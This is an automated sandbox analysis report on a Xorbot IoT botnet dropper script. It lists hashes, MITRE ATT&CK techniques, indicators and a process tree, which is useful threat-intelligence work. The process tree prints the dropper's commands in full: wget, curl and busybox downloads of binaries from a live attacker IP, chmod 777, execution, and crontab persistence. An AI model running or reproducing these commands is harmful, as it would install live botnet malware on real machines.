xorbot | 8636ffc4c47b05053967830b8119844279ab787ccc8245eebaa8fcab55c73a6a

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/12/2024, 18:06

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General

Target

bins.sh
Size

10KB
MD5

6d4037130b20353b10064ed9679e3c81
SHA1

feac3dc2421c23aea64020407c83001b0e5a7080
SHA256

8636ffc4c47b05053967830b8119844279ab787ccc8245eebaa8fcab55c73a6a
SHA512

88c3c343c10f832fd187d0681c9677e79047ecd7a204bd2a37dcf5451457d60069ed47e272eb4e0451070dd849e5fbd634a660d177d14d55d0d12782ab3d740e
SSDEEP

192:P5J23fjFLdFNeHzfWffZBuPrM8VyUjUTUCUfBUtU4pFNeHz3ZBuPrjehUjUTUCUu:P5J23fjFA+fZBuPrM8VyUjUTUCUfBUty

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2178) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1506	chmod
1513	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	1507	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	1514	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Renames itself 1 IoCs

pid	Process
1515	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.lungOQ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1189/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1527/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1545/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1618/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1663/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/179/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/433/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1548/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1572/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1623/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1669/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1580/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1625/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1633/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1668/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/5/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/15/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/205/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/519/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/642/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1150/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1521/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1565/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/19/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/169/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1568/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1588/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1616/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1661/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/18/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1574/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1608/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1651/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/8/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/162/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/479/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1115/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1247/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1601/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1609/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1654/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/130/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/177/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1551/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1336/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1626/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/176/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/270/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/955/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1295/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1524/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1655/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1538/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1581/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1598/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1600/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1603/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/21/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/606/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/681/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/683/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1168/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1486/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	wget
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	curl
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	busybox
File opened for modification	/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	wget
File opened for modification	/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	curl
File opened for modification	/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1491
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1494
- /usr/bin/wget
  wget http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:1495
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  ./GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Executes dropped EXE
  PID:1507
- /bin/rm
  rm GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://216.126.231.164/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  ./Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1514
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1517
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1518
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1519
- /bin/rm
  rm Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.164/bins/dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
  2⤵
  PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.lungOQ

Filesize
210B

MD5
22263fca6d60e4b280320018365cae20

SHA1
b4e150078f81c34ddbc6ae48ce0973f497982755

SHA256
da8494b5d673ea857acc07fb7ba2d0c74f65808e20364e7dc565fad9577cb911

SHA512
ea7ce678a9413aa06040b1da6bf05d7ae700c566c2bb817a7c4c705a2ece634b071286147068d76afcd76ed00fabd3b0fab9af9bce76d7aa1a9d46f8f2977eca

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads